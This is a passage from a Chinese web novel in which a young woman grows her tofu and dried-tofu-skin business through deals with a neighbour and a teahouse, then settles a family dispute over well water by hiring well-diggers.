马娘子笑容深了些,真姐儿倒是真大方。 急忙将数好的铜子儿递出去,又瞧着林真数了三十二方熏豆干帮着装在背篓里。 “我忧心你这头没多的,昨日都没收定钱。真姐儿,婶子想了一晚上,以后婶子先收定金,你们回去时咱们碰个头,将第二日要多少熏豆干定下来。这样我也敢大大方方多要些豆干来卖,也不扰了你的生意。” 今日匀一些,明日匀一些,这不是麻烦人嘛?万一真姐儿自家摊子上不够卖可怎么办?马娘子舍不得少挣钱,可也不敢教熏豆干砸在自家手里。 昨日翻来覆去,才想出这么个法子来,此时,正有些忐忑地瞧着林真。 这模式,倒是有些像后世小区里帮着團购采买的团长。 林真笑了笑,赞道:“娘子好灵巧的心思,这法子甚好!” “真的?我就说能成!”马娘子这才欢喜道。 “还有一事,真姐儿,往后我去城门口等你。咱们在那处交货可好?” “成!”林真痛快点头。 货源保密嘛,她晓得的,她也乐意与马娘子行个方便。 这样伶俐还明理的人可不多见,她要是多几个这样人品好的经销商,售卖熏豆干之事可就不用发愁了。 与马娘子告别后,照旧到兴福坊支摊子。 “今日还吃饅头?要不要换个蒸饼吃?”林真由着贺景支摊子,自家去买吃食。 “阿姐,我吃蜜豆馅儿的甜饅头!”燕儿欢快道。 林真眼睛斜睨着贺景。 “馒头,素笋丁的就成,可别再买肉的了。”贺景小声道。 “成,等着我。”林真满意点头,小样,还治不了你了。 连吃了好几天的馒头了,林真可不乐意吃。 贺景的毛病治好大半,用不着赶时间,她便四处逛逛找吃食,粥、馄饨、烧饼、汤饼…… 油條!? “店家,这油炸鬼怎卖的?可有相配的漿子?”林真两眼放光。 “一條五个钱,送一碗酸漿子,小娘子来一条?” 五文?可不便宜,一个肉馅儿的馒头才三文呢!可这玩意儿是油炸的,且很有分量,估摸着一条就能吃饱。 “成,我来一条。碗待会儿给您送回来可成?我就在那处支摊子卖腐竹哩。” “成!”店家也很是爽快。 五文一条的油炸鬼果然不同,满是麦香又格外酥脆掉渣,可却一点儿不会发硬。 就是这酸浆子差了点意思,这种用大米和小米发酵而成的酸浆,除了酒精味极轻外,林真一直觉得与林屠户天天喝的米酒(醪糟)差不多。 还是要配甜豆浆才好吃! 又想了想糖的价格,林真果断将刚升起的念头扔出去:别想了,自家吃吃就算了,若想将豆浆推销给店家配着油炸鬼卖。 一个字,难! 林真还没吃完,陆续便有来买腐竹豆干儿的客人。忙了好一阵儿,觑着空,教燕儿守着摊子,林真去还碗。 “实在对不住,刚客人多,耽搁店家做生意了。” “小娘子哪儿的话,一个碗罢了。” 开门做生意的,大都是和气生财,店家面上团团的笑,半点儿不在意。 “咦,您家隔壁这是做甚营生的?这时候才卸板子?”瞧见隔壁铺子才有动静,林真好奇道。 “他家是制熝肉的,熝鹅极为有名儿。多是在下半晌才开张的,小娘子腐竹卖得好,早早便家去了,倒是没碰上。” “唉,哪里哪里,我一个小小的摊子,怎比得上店家这样有正经门脸的吃食铺子。” 熝肉?卤肉? 林真眼睛倏地一亮! 第30章 这日, 林真难得不着急回家去挑豆皮儿製腐竹。 等着那家卖熝肉的店家开门后,林真头一个上门去。 “小哥,听说你家熝肉极好, 哪种滋味最足?又都是甚价?” “娘子細瞧,签字上都挂着哩。鸡、鸭、鵝、猪和各类嚼杂都有,今日运气好,还有兔呢!滋味都是极好的, 單看小娘子喜欢甚。要说招牌, 自然是咱家的熝鵝, 价也是最高的,便宜些的是猪肉和嚼杂,單都是一样使了好料来熝的,味不好, 不收你钱哩!” 嚯,这口气, 比她还能吹。 林真往油亮似琥珀的熝肉上瞧, 鼻尖又萦绕着香辛料霸道的香味儿, 不自觉地咽了咽口水。 “成,给我来半只熝鵝, 能多给几勺子鹵水不?” 那店家笑眯眯的, 可说话却滴水不漏。 “自然会给您添鹵水的, 可这鹵水加多了怕是不好带回去, 一路要是污了您的衣裳倒是不美。娘子放心,我这熝肉都是教鹵水浸得透透的, 滋味定是足的,您瞧!” 那小哥利落斩下半只熝鵝来,指着皮子下的肉给林真瞧。果然, 皮子下的嫩肉还带着汁水,瞧着就诱人。 “我送您一份儿嚼杂,娘子吃好了再来!”很是大方地撿了鹅肝、鹅心和鹅肠包了一包。再用双层油纸与熝鹅封严实了才递给林真,实在挑不出一点儿不妥。 林真闻弦知意:连鹵水都不愿意多舀,这卖鹵水或尋求合作的路子怕是不成。 她也不纠结,笑着道谢,数了铜子结账后,几人不再耽搁,径直家去。 慈溪縣夏日里卖熝肉嚼杂的铺子极多,此處不成,另尋一處就是了。 林真不是没动过自个儿熬鹵水的念头,可香料售价实在是高,且此處香料到底不如后世齐全,她现在想吃辣都只能吃茱萸或芥菜製成的芥酱,她是没信心(没钱)買恁多香料来折腾。 手中熝鹅的香味教人口舌生津,对了,还不一定能竞争过本地卖熝肉嚼杂的铺子。 种种原因综合考量,还是寻一个能合作的铺子,她出豆幹,人家出鹵水来得方便。如此,说不得不止能教自家这小攤子添一样新品,还能再打通一处市场售卖豆幹。 林真想得火热,熝鹅的那股子香味也实在勾。人,催着贺景快些家去。若要问熝肉嚼杂,她屠户爹绝对是家里最有话语权的那个。 夕食。 嘗到第一口熝鹅的时候,林真只有一个念头:幸好没不自量力与人拼味道,难怪店家将方子看得这样紧,宁愿送嚼杂也不肯多添半勺鹵水。 咸香鲜润,还有一股子微妙的辣味儿,那丝辣味实在妙,不但不发苦反而巧妙地中和了熝鹅的肥腻感。且也不知怎么鹵製的,那鹅肉极嫩半点儿不柴,却不失肉感的嚼头,实在是妙。 林屠户咂了一口酒,赞道:“妙极,妙极,难怪是兴福坊內出了名儿的好菜咧!” “再没比这更好的熝肉了?”林真暗戳戳问。 林屠户摇摇头,十分肯定:“再没了,至少爹可没吃过比这熝鹅还好的。” 林真沉思一会儿,她好像也没吃过,两辈子都是。 这熝鹅不止是鹵水味道好,这鹅也是极好的。鹅肉肥而不腻自带一股鲜甜,定是专门挑了好鹅,一早现杀现卤的。 说不定这大鹅都是专门养的,方方面面俱都考虑齐全了,才能有如此好滋味。 若是店家晓得林真所想,怕是要引她为知己,可不是么! 他家的鸡、鸭是收来的,可最要紧的鹅,确实是自家专门寻了有好水的地方养的。 “那您觉着还有谁家的熝肉嚼杂味足可口?” 林屠户又抿了一口酒:“有能耐在縣里支攤子、摆浮铺的店家自然都不差,可要说好,还是上回王巡栏说的朱家分茶店新来的厨娘,确实是製得一手好饭食,尤其是熝肉、糟鱼,味儿极好。” “那您说,能不能教朱家分茶店幫咱家鹵豆幹?咱家豆幹多,也得搞些新花样出来了。” 林屠户一思量:“成,爹去试试。我与那朱家分茶店的掌柜也算有几分交情。且他家的食客都是熟人,偶尔有食客带些稀罕吃食请厨娘加工,他家也是肯的,倒是不唐突。” 朱家分茶店挨着豆惠坊和渔兴坊,里头住的多是普通百姓,朱家做得也是这些人家的生意,故而也接些幫着加工的活计。 于是,第二日便换林屠户赶着车送姐倆去摆摊。 瞧见了马娘子,马娘子倒是多高兴,央着林屠户将三塊熏豆干对半切开。 “今儿倒是运气好遇上了你,你下刀子那是再准不过了。不然,合買一塊儿的两家人总觉着对方手里的那块儿大。” 坊内有不少人家买个半块嘗鲜的,马娘子绝不错过一单生意,这样半块儿的单子也肯应。只不过在分豆干儿时,要多费些心。 “咦,那合買一块儿的人家怎么出铜子儿呢?”林真倒是好奇,一方熏豆干卖三文,这怎么出钱? “这有甚?少出钱的那方用东西补就是了,或是菜干或是豆子,这他们自家商量去,商量好了,我才接这个单呢!” 马娘子现很有几分神气,瞧瞧,这才两日,她已赚了一吊多钱了! 这在往日是想都不敢想的,隔壁那婆子从昨日起就在她家门口打轉了。想买豆干又拉不下脸来,最终托了其他人帮忙买。 哼!还以为她不晓得呢。 不过是她不与对方计较,更不与钱财过不去。想到这儿,又想起林家人的好性子来,少不得开口恭维一二,顺便贬一贬隔壁行事小气之事。 “还是与你家作邻人爽快,既不会抠抠搜搜,也不会乱晃着一双招子盯着别人家瞧。”这是马娘子的真心话。 “瞧真姐儿这能干样,往后便是往县里来住,那定然是往西处置宅去,再不能与我们作邻居了!” 嘿,西处可全是清贵人家,这恭维实在是妙。 林真笑眯眯应道:“承您吉言了。” 这日,因挂心着鹵豆干,林真带来售卖的熏豆干便少了些。 等林屠户带着在朱家分茶店鹵好的豆干来接人的时候,正好遇上一位没买着豆干的娘子出言抱怨。 “这做生意,怎么也不将货备得充足些?教我白跑一趟,这天又热……” 其实林真近日总是剩下些熏豆干没卖出去,她只是减了那部分的量。 “实在对不住……” 致歉的话说到一半,瞧见她屠户爹一脸掩不住的喜意,话头一轉道。 “熏豆干是没了,可有鹵豆干,能直接吃,送娘子一方,回去切了摆个冷盘来吃。” “这……”妇人话头被堵住,有些不自在道。 “我可不是想白吃你的豆干,你说个价,我自家买。” “本就是制来试吃的,还没正经卖呢,怎能收娘子的钱?您拿回去尝个味儿,也好给我说说可能入口。” 林真笑眯眯,从林屠户手中接过篮子,撿了一方鹵豆干送与那妇人。 一场小纷争就此消散,燕儿满眼崇拜地盯着阿姐瞧。 一家子才收拾好,王柘又溜达了过来,抻着脖子望。 “我可闻见味儿了,林娘子这是又制了甚好东西,怎不摆出来售卖?” 王氏布行的小少爺,王柘,也算是林真的老熟人了。 不仅是头一个买腐竹的客人,后头王家的小宴也从林真这儿定过腐竹,还介绍了些友人前来购买。 实实在在的大主顾,且人还是个活招牌呢,搁在后世,妥妥的探店+美食博主。 林真眼睛一亮,不着急回家了,用箬叶包了两方鹵豆干递给王柘。 “新想的吃食,王吃家给品一品。” “咳,那就,品一品。” 王柘被一句’王吃家‘给哄得嘴角怎么都压不住,理了理袖子,接过林真递来的鹵豆干开品。 先看再嗅,最后才掰了一小块儿扔嘴里細细咀嚼,越嚼眼睛越亮,可这满意之色转而又添了些遗憾…… 一张脸,有喜有憾,教瞧着他的人都跟着揪心。 “啧,王小少爺唉!到底是个啥味儿你倒是说说,不说话可叫我们怎么猜。”早有围观的人群按捺不住。 “哼!人家林娘子信我,教我好生品评,我自是要上心的。”王柘先怼人,瞧见林真面上也带了一丝焦急,立即道。 “林娘子这新想的吃食甚妙,占足了’咸香‘二字,有韧性却不费牙口,回味甘醇,细细品来,居然与熝肉有几分相似,用来佐酒极佳!” 王柘先夸,随即话风一转。 “只一点,这鹵汁味儿杂了些,且下的料也不算好,倒是将豆干那股子清爽掩盖了去。若是叫坊內卖熝鹅的店家来制,那才叫美呢!” 林真听得咋舌,真是好灵的舌头。 林屠户今日临时起意去寻朱家分茶店帮着制鹵豆干,人家肯相帮就算大气了,肯定不可能单拿一锅鹵汁来制鹵豆干,定然是与店里的肉混在一处煮的。 这样都能教王柘尝出来。 “你这舌头,真是这个!” 林真伸出大拇指赞道。 “那我回去再改改,尽量早日上新品!” “倒是不用。”王柘想起坊内卖熝鹅的店家将鹵汁看得像命根子一样,有些后悔自个儿多话。 “你这鹵豆干已是极好,尽管制来卖。有多的没?再给我捡两方,也孝敬老爷子喝两盅。” 林真又捡了两方包好给王柘,制止了人掏钱的动作。 “本就没正经售卖,送你两方吃,算是谢你帮我品鹵豆干,有王小吃家这话,我倒是能大着胆子上新品了!”—— 作者有话说:夏天买卤味的时候,一定会挑些卤豆干《 》 30-40 第31章 去与马娘子碰面的时候, 林真指挥她屠户爹往朱家分茶店那边绕一绕。 果然,几人才到渔興坊那头,一直守在门口的朱掌櫃忙不迭地招呼道。 “林老弟, 林老弟!” “咦,朱三哥,这是怎的了?”林屠户停下,难不成今儿請人鹵豆幹出甚岔子了? 林真倒是一点儿不虚, 反而一臉的笑。 果然, 朱掌櫃好言相請, 开了后院的门,请几人入內歇息,还给林真姐倆上了冰核杨梅露吃。 “今儿老弟大方,给我留了好东西。我一尝就曉得这鹵豆幹用来佐酒极好, 不知林老弟这豆幹儿作價几何?若是合适,老哥也能给店里再添一道小食来吃。” 果真是冲着鹵豆幹来的。 林真早有预料, 从听见她爹说朱家分茶店会接食材加工的活时, 林真就曉得:这店家是个活泛人。 在售卖饭食的地儿自带食材上门, 这在大多数店家看来都是冒犯。 可仔细想想朱家分茶店里招待的客人,大都不是甚大富大贵的人家, 只能说有点儿小钱。如此, 朱掌櫃的这一招实在是妙。 客人既带了食材上门, 手中定然不甚宽裕, 那便不会放过这个难得下馆子的机会。少给上几个钱,教一家子或者相邀的友人, 能在分茶店內好好坐一回。 实在是花小钱办大事儿的小妙招。 既在店內小聚,那少不得会在店里消费一二,分茶店内有了人气, 又有进账,实在是妙。 那时,林真就知道,这位朱掌櫃会是一位潜在的合作对象。 今儿一早,不顾林屠户的嘀咕,林真着意叮嘱她爹。 “爹一定要记着,给人掌柜的留下两方鹵豆干。” “晓得了,你爹是那样小气的人么?” 现在,到了谈生意的时候了,林真摩拳擦掌。 “老哥,我家这豆腐营生都是我女儿在管,您与她商量。”林屠户果斷道。 朱掌柜一臉诧异,他转过头去,瞧着笑眯眯的林真。 怎的,林家还真是这年纪轻轻的小娘子做主不成? “朱掌柜,这豆干我可以一文钱一方卖给您,但是有个条件,您得帮我鹵豆干,鹵五方我给您一文钱,且也得教您知道,我在興福坊内支了个摊子,这鹵豆干,我只打算卖三文一方。” 用来鹵的豆干与熏豆干不同,要入味,厚度和大小就有讲究。分量便没那么足,估摸着只有熏豆干的一半。 三文钱一方,不出薪柴不出香料,对林真来说,是纯賺。 可就怕朱掌柜不同意。 “啊?卖恁便宜?小娘子,如此你倒是能賺钱,我这头又出香料又出人工的,可赚不了几个子了。”朱掌柜果真不同意。 先前听见这小娘子说一文一方的时候,朱掌柜还暗喜,可后头听见她说,只卖三文一方的时候,朱掌柜坐不住了。 这样,他可赚不了钱! “您听我说,我只在兴福坊内售卖,一来不会与您相争;二来摊子没处歇脚,这类客人和往您这头来的客人并不冲突。再有,这價定高了,咱们两头可都不好售卖。” 兴福坊内的人也不是吃素的,人更会算账。價定得虚高,人也不会买账,更别说朱家分茶店的客人了。 林真緩緩道来,瞧见朱掌柜一脸的若有所思,继续道。 “若想多赚些钱,您别整个儿作卖,卖拼盘啊。” “这,何为拼盘?”朱掌柜问道,顯然是听进去了。 “您家本就有熝肉嚼杂,一样切些来,与鹵豆干擺成一盘,顯得好看量又足。至于一盘怎么定价,里头又有些甚,全凭着您自个儿定。” 林真娓娓道来,朱掌柜越听越觉着这拼盘的主意甚好。 肉有贵有贱,拼盘里头少加些贵价的肉进去,这定价就不同了。如此,岂不是说这鹵豆干和嚼杂都能卖上好价,且还不会教人觉着贵。 只是…… 朱掌柜笑眯眯:“小娘子,我这头要的豆干要是多,能否再让让价?量大从优么。” “这可不成,您与我爹是老相识了。我这才给您这个价,我这一块儿鹵豆干细细切来,可擺好几个拼盘哩。”林真摇头,一口拒绝,同时开始比拼口才。 “您也别说帮着我鹵制豆干废功夫,这一锅鹵汁能用上许多回呢!况且我那摊子也卖不了许多,顶天了能销个三四十方,您可不吃亏。” “您再想想,若是不成也不碍事儿,我且再去寻一寻愿意合作的店家。” “别,可别!”朱掌柜话一出口就有了悔意。 再瞧瞧神色丝毫不变的林真,不得不承认:到底是落了下风。 豆干倒是好制,縣内的豆腐坊瞧一瞧,多试上几次也就成了,可他们要价就不是这个数了。 “成,林小娘子这拼盘的主意,就值得朱某人结交。你爽快,我也不能小气了,咱再添一条,豆惠坊和渔兴坊,您这豆干只能卖给我。这样可成?” “成!” 林真果斷点头,她想卖也没多的可以卖。 家里现在所出的腐竹和豆干基本达到人力和畜力的顶点了。再多,家里人和驴子小骡都遭不住。 为着挣钱反而累坏了身子,这可不是林真想要的。 “好,林小娘子果真大方。我去拟了契来,再去縣衙过驗,劳你一同走一趟。” 朱掌柜急着将事情定下来。 “好。”林真疑惑了一瞬,立即明白过来。 头两次定契不必她费心跑腿,显然是托了林掌柜的福。这回,是怎么也要跑上一回的了。 好在朱掌柜在县里扎根多年,也算与县衙的小吏混了个面熟。陪着笑脸,又不着痕迹地塞了一串钱,才见着了过驗的书办。 又是塞钱又是说好话,才在一叠声’怎这个时辰前来‘的埋怨中盖了印。 白契变红契。 俩人从县衙出来时,双双松了一口气。 临走时,林真想了想,还是将王柘那番’先制鹵豆干再制熝肉杂碎‘的话说给朱掌柜听。 “您试试,若是怕坏了肉的味儿,就还是先制肉再制豆干。”林真也不勉强,要她尝来,这鹵豆干的滋味已是极好。 王柘的名气显然不小,朱掌柜很当回事儿,答应去与厨娘相商。 而折腾了一天的林真,终于踏上回家的路。 她坐在驴車上,一句话都不想说:今日的社交量大大超标,她得缓一缓。 家去,在村口遇见了賀景。 他还挑着一担水。 “怎到这儿来打水了?”林真奇道。 “你和爹久不归来,都担心着呢。索性上村头来打水,也好瞧瞧你们回来了没。” “哎呦,今儿是耽搁的久了些。大景,将水放車上来,真姐儿和燕儿同你一道走回去。” 林屠户忙道。 “您这是心疼賀景呢?还是心疼大灰啊?” 林真这会儿复活了,狭促道。 别以为她没看出来,她和燕儿坐车上时,林屠户那眼神,可心疼了。 林屠户不说话,只牵着大灰往前走。 林真见好就收,牵着燕儿同贺景说起今日见闻,慢悠悠家去。 此时的林真还不晓得,今日还有一桩官司等着她来断呢—— 作者有话说:又是短小章[可怜] 顶锅盖逃走 第32章 家去, 自然又是赶着挑豆皮製腐竹,好在有了鹵豆幹这样新品,要製的熏豆幹少了大半, 能省下不少功夫。 家里人都是手勤脚快不躲懒的,即便今日耽搁了时辰,一家子緊赶慢赶,还是将東西都备齐全了。 一家子吃了夕食便早早散去, 好生睡一覺, 明日接着奋斗。 “真姐儿, 我烧了水,你打些回去泡泡脚。”苗娘子招呼林真。 “唉!就来,劳烦娘子了。” “真姐儿,你今日家来, 可是在村口碰见大景的?” “是,娘子这是怎了?一脸的愁。”苗娘子面上的忧虑实在明显。 林真好生奇怪, 家里现在有稳定进項, 人都和睦, 有甚烦心事儿吗? “此事,我只能找你说, 要是给你爹晓得了, 原本多亲厚的两家怕是要生嫌隙。今儿是你爹送你们去县里, 大景便接过打水的活計, 早早便出门去了。我瞧他没赶驴车,心里奇怪, 跟出去瞧了瞧,那个方向,可不是往你大伯家那头去的, 似乎是往村里的公井去的。” 苗娘子瞧着林真骤然落下来的脸,赶緊道。 “此事你大伯和大伯娘应是不知情的。我后来自个儿去大嫂家打水,屋子里只有茂青媳婦儿和巧儿在。巧儿见了我多热心,还幫着我打水呢!若说大嫂家里有谁不乐意教大景去打水,那也只能是茂青媳婦儿一人说了甚。” 不是苗娘子妄自揣测,实在是她今日进门时,来开门的茂青媳妇儿就在甩脸子,嘴里还嘀咕着:天恁热,用恁多水,家里的井水都浅了一层。 往日里一向是林屠戶去打水,可从来没他说过甚。林屠戶瞧着五大三粗,可心却不粗,心气儿也高,若是受了酸言酸语,怕早就发作了。 那么,这酸言酸语就是对人不对事。 而这个人,她自己算一个,贺景,怕是听得更多。若不然,贺景作何要绕远路多费好些力气往村里的公井打水去? 现在家里要磨的豆子恁多,用水更多,这一趟趟地挑,可不是个轻省活儿。 若说苗娘子先前还因着贺景的相貌对他有些偏见,可一个屋檐下生活了这些日子。苗娘子也不得不承认:贺景确实是个好的,干活卖力,是一门心思想将日子经营好的。 且人还不错,是个你对他好一分,他必还两分的性子。 去了偏见,苗娘子瞧贺景,怎么瞧怎么欢喜。是以,思来想去,苗娘子还是选择奖此事私下说给林真听。 经了如此多的事儿,她也瞧出来了,真姐儿是个有本事儿的,林屠戶也听她的。 家里的事儿,说给真姐儿听,怕是比说给林屠戶听还管用。 “我想着,大哥大嫂一家子都是极好的,也确实是咱家用水太多,不怪有些怨言。若为这事儿与大哥一家子生怨倒是不美,真姐儿,你算算,若是账上有钱,咱家还是尽快打一口井罢。” 林真倒是没想到,才在马娘子那處听了一耳朵的水井風波。家来,自家也一样因着用水一事儿生出事端来。 打井一事,她不是没想过。 可在她的計划里,打井之事得往后挪一挪,林真盯着屋顶上的茅草瞧,她原有更要紧的事要辦。 可现在,确实是該先打口水井来用。 “成,我去问一问爹,明儿就教他先去請个風水先生来。”林真在心里迅速过了一遍账上的钱,一锤定音,轉身便去寻她屠户爹。 要打一口水井可不是件容易事儿,先不说所需钱财,找个能出水的地儿来才是最要紧的。若家里没有出水点,那就只能往外找,可打在外头的水井,总归不美。 还有,家里制豆腐,必要好水,若是打了一口苦水井或咸水井来,水是压根儿没法用。 那可真是,白白将铜子儿往水里扔! “爹,你识得人,明日先去請位風水先生来,瞧瞧咱家可能出口好井。” “咦,怎好好的说起打井的事儿来了?”林屠户纳闷。 院儿里收拾東西的贺景一下抬头,双目灼灼,盯着林真瞧。 “本就预备着要打井的,账上有钱,近日也没甚大花销,自然該提上日程来。趁着秋忙未至,腾得出人手来,早早打口井来使。咱家现在用水忒厉害,磨豆子只能用甜水井,总不能老指着大伯家的那口井。” 林真催她爹:“您明日得請个好的风水先生来。打井可是大事儿,可别教那些打着幌子蒙人的半吊子给骗了。” “嘿!你爹我还能教人给欺了去?你等着,明日我往西青山那头去,定然请个顶好的先生来!”林屠户覺着被闺女儿小瞧了,很是不服气。 “成,此事是咱家现的头等大事儿,全赖您去办了啊。”林真很不走心地哄了哄她屠户爹,打着哈欠回屋睡觉去。 她现在这作息,亥初睡卯正起,真是从前想都不敢想的健康。 贺景不声不响跟着回屋子。 “你晓得了?” “是,苗娘子说给我听的。家里人都记挂着你,你别甚事儿都自个儿抗,打口井罢了,算甚大事儿?”林真盯着贺景,突然皱眉。 “你往村里打水有段时间了吧?夏日天儿热,哪年为着争水不闹出些事儿来?可有人欺负你?” 贺景教林真问得心都漏了一拍。 可有人欺负你? 这句话他从前听过,很小的时候,爹说过,娘也说过。只不过一个教他:男子汉,得自个儿立起来;另一个呢?淌着泪,眼里是心疼,可嘴里,只念叨着要他忍忍。 “没,没人欺我。” 他听见自己这样回答,可心里却升起些别样的想法:她呢?她会如何说? “真没有?”当过留守儿童的林真不大相信。 “你别怕,咱家可不是好惹的,若有人欺你,只管来与我说。哼!都说我凶悍了,怎能辜负了这个名儿?” 她说她要幫我! “嗯!”贺景瞧着林真,眼睛亮晶晶。 林真被他瞧得不自在,赶紧蒙着被子会周公去。 == 翌日,林屠户记挂着请風水先生的事儿,早早便出门。 他将驴车留给贺景送林真去县里摆摊,自个儿腿着去了西青山。 下午家来时,林真果真瞧见一直领大袖蓝道袍的中年男子在她家里打轉,她屠户爹一脸殷勤地跟在后头。 清瘦高挑,手持罗盘,蓄着美髯,小风一吹,衣袂翩然,端得是一派仙风道骨,模样倒是很能唬人。 “此气聚之地,避污。秽、远冲煞;合’坎‘卦,坎为水,正得其位。”那风水先生顿了一顿。 “阴滋阳茂,于你家是大吉之兆。” 林真觉着刚才这风水先生似乎瞥了她一眼。 林屠户听得心花怒放,笑出一脸褶子:大吉之兆,好啊! 再瞧大师指的那位置,就是院子东边儿的枣树下,更欢喜了,自家院子里有吉兆! 一叠声儿道谢,不止包了一百二十个子儿,还送了一把腐竹一方熏豆干。 这就完事儿了? “道长,您给多选一處地方罢?万一此处不出水,还能另挖一处瞧瞧。”林真看得着急,不由出声。 她倒不是心疼那点钱财,只是心里没底,只选一处?不多选几个地方?不留个备选項? “小娘子不必着急。”风水先生伸手捻了捻枣树下的土,十分肯定道。 “此处定是好水好井,若是不成,不肖小娘子上门来,我这招牌自个儿就扯了。” 成,道长都这么说了,林真也只得信了。 一家子送了风水先生出门,林屠户还多是周到,一路将人给送到村口去。 “真姐儿,这是怎了?我瞧着家里怎来了位道长?”李金梅这时上门来,不免问道。 “大伯娘,家里打井呢!”林真很是欢喜,招呼着她大伯娘进屋子,“家里攒了钱,家当就得一样样置辦好,院儿里有口好井,做飯洗衣都方便。” 话风一点儿不露,照样是亲亲热热的模样。 “好!真姐儿有本事,你爹都没置下来的,你置下来了,好女子!”李金梅在林屠户家时,还满脸的笑,可一回家,那脸就拉下来。 好端端的!二房那头急着打井作甚? 这些日子甚是忙碌,山间田里都少不得人。她和小儿子还又添了一项活计,家里多是只留巧儿或茂青媳妇儿看家。 李金梅目光沉沉:看来,是有人日子过得太舒坦了,非要生事! 这头,林屠户家正商量着请人打井之事。 农家自用的井一般不深,有个七八米便够用了。这般的井,若是叫上族人相帮,招待一顿飯食,一个壮劳力一日只用给六十个钱。 请上三五人,十天半个月的怎么也能成了。算下来,人工不过三贯钱,饭食置办得好些,日日添些荤食,也不过几百个钱。 比起请专门的打井队来,可要省下不少钱。这也是村里自家打井多选的法子。 林屠户也是偏向这法子,他当年建房的时候就是族人相帮,在他看来,这也是与族人联络感情的法子。 可林真不同意—— 作者有话说:来了来了 明天休息哦^-^ 第33章 打井这件事, 林真从未想过要请族人相帮。 她斟酌了一下语气,缓缓道。 “爹,咱家里在制腐竹呢。也不是说不能被人瞧见, 只是族人相帮,门户大开,进进出出都是人。到底是吃食生意呢,咱賣得价又高, 得注意弄得幹净些。再有, 这飯食谁来烧?算上家里人, 可就是十人的飯食了,这可不是个轻省活儿。苗娘子日日制腐竹豆幹已经够辛苦了,总不能还教她来烧饭罢?请大伯娘相帮?可大伯家里三十来亩田要照料,正是要緊的时候, 田里日日少不得人。大伯家里事儿也多,大伯娘还在帮着咱家收豆子, 日日不得歇, 可不好再麻烦她。” “那你心里是个甚章程?请打井队的匠人来, 倒是不肖操心,可至少得六貫錢。”林屠户瓮声瓮气。 “咱去县里请打井队来, 虽要多花些银錢, 可一来, 咱们每日给供一桶凉茶或豆儿水就成, 一把柴火的事儿,不肖多费心;二来, 挖井是个技术活儿,这要挖个七八米,恁深, 若是中间有个意外,或是井塌了,或是人晕在里头,那可怎么是好?” 林真还真怕族人为她家挖井出意外。 七八米深的水井,她瞧一眼都怕,可真不敢讲此事托给无证上岗的半吊子族人。 “对了,咱账上有錢,您往行会去,请行老寻一支口碑好的打井匠人来,可别去找那私下接活儿的。”林真赶緊叮嘱。 林屠户面色好些了,他思量一番,到底点了头:“成,就照你说得办。” 林屠户家在说打井的事儿,林大伯家也在说。 “今儿二弟那头请了风水先生来,说是要打井。茂青、茂安,你们倆去给你二叔家帮忙,咱们是一家人,在那头吃饭就算了,可万万不能要工錢!” 才将端起碗,李金梅便说了二房打井之事。 “这是自然,我们定是要去给二叔帮忙的。”林茂青和林茂安都一口應下此事。 “咦?二叔家作甚要在这时候打井?前儿遇着了真姐儿,她还在我跟前嘚瑟,说是要趁着秋雨未落,将院儿里的黛瓦青砖都重新铺陈开,怎又要打井了?哇,真姐儿可真有本事儿,挣恁多钱……” 林巧儿的声音在爹娘逐渐阴沉的面色下,消失了。 听见自家男人要去给二房免费帮忙的刘桂香,心里正不滿呢:这二叔家有如此賺钱的营生,怎还抠抠搜搜的,连自家侄儿的工钱都想昧下。 陡然听了林巧儿这话,再抬头看看公婆的脸色,心里一突:不会吧?她不就说了几句二房家那上门女婿和晚娘吗?二房真因这几句话,就要打井? 若是这样,是不是心中不滿,与自家起嫌隙了?那她公婆不得撕了她? “我也听真姐儿说起过,那腐竹是淋不得水的。她即便是賺了钱,也该先修葺屋子,怎屋子没动静,反倒是想着打井?咱家不是有井吗?这井还是当年二叔陪着挖的。” 林茂安眼神一扫,心中有了猜测,心有不满,顺势接过巧儿的话头。 刘桂香面色一变,匆匆低头。 “啪!” 李金梅将碗一放,瞧一眼埋头苦吃的鑫哥儿,压着火气道。 “大郎媳妇,你跟我来。” 林茂青先还没反應过来,此时听见他娘这么一说,看看爹娘分外难看的面色,再瞧一眼自家媳妇一副心中有鬼的模样。 他还有甚不明白? 心里一紧,他瞧着面露不安的媳妇,闭了闭眼,刚想开口劝说,可林茂安比他先开口。 “大哥,咱去田里轉一轉,麦穗正灌浆呢,田里可不能有积水。” 爹娘都被叫走,鑫哥儿疑惑抬头。 “鑫哥儿多吃点,你还没有春妮那小丫头高呢!”林巧儿赶紧夹了一箸金黄蓬松的炒鸡子给他。 “謝謝姑姑,我肯定长高的,明儿就比她高了!”鑫哥儿一脸认真,“春妮可没有这样好的姑姑给她吃炒鸡子。” “小滑头,尽会哄人。” 也因着这一句,桌子上的气氛到底没冷到底。 林家兄弟倆一前一后出门。 “大哥,爹和你一样,只有一姊一弟。多少年了?咱们几家一直亲厚,若因着小辈教他们之间的兄弟情份断了,那一定是咱家行事有失。二叔,可是一向厚待咱家的。” 林茂安直直盯着他大哥瞧。 林茂青想起来这些日子,刘氏常在他跟前念叨:二房日子好过,怎也不拉扯自家一把?尽紧着家里那倆小的去,真姐儿可别是对他这大哥有意见了? 他面色发暗,喉咙发紧。 这话可不单单在说爹与二叔大姑的兄妹情,何尝不是在说他和巧儿茂安? “二弟,我晓得了。此事是你嫂子不对,也是我不对。我会去给二叔赔礼道歉,二叔家打井,我肯定尽心!” “大哥,可不是去给二叔赔礼。是该去给真姐儿说,是真姐儿晓得此事,并且着意遮掩的。不然,爹和娘今日不会如此轻放。”林茂安摇摇头。 “啊?真姐儿?”林茂青惊愕了一瞬,随即点点头,“成,我晓得了,会私下说的。”他不笨,也听劝,当即应下。 他又不是甚大人物,给妹妹道恼也不丢脸,且真姐儿确实有本事。 当然,等兄弟二人扛着凿子、铁铲来林屠户家,却发现完全用不上俩人时,愈发领教了一番这个小堂妹的本事。 当然,那都是后话了。 此时,很有本事儿的小堂妹却心生奇怪。 “唉,你说说,我爹刚才是不是生气了?”林真戳戳賀景。 她琢磨好一会儿了,可还是拿不准,这才问賀景。 “才发现?”賀景转过身来瞧着林真。 “果真生气了?可后头是不是又好了?那爹到底为啥生气?”林真实在搞不明白,她屠户爹这生气生得也太不明显了吧? “爹一开始生气,许是觉着你不与族人亲近,对族中有意见;后来不生气了,是猜你只是胆子小,怕出事儿,不是故意冷待族人。可我觉着,你確实是不想与族中牵扯过多。” 賀景今日打算实话实说,不再对林真有所隐瞒。 “啧!贺小同学,你知不知道有句话叫做’看破不说破‘?” “同学?这是甚意思?”贺景疑惑。 “这是重点吗?”林真磨牙。 贺景轻笑一声,夜色已浓,他胆子愈发大。 “真姐儿,你心中有鬼。” 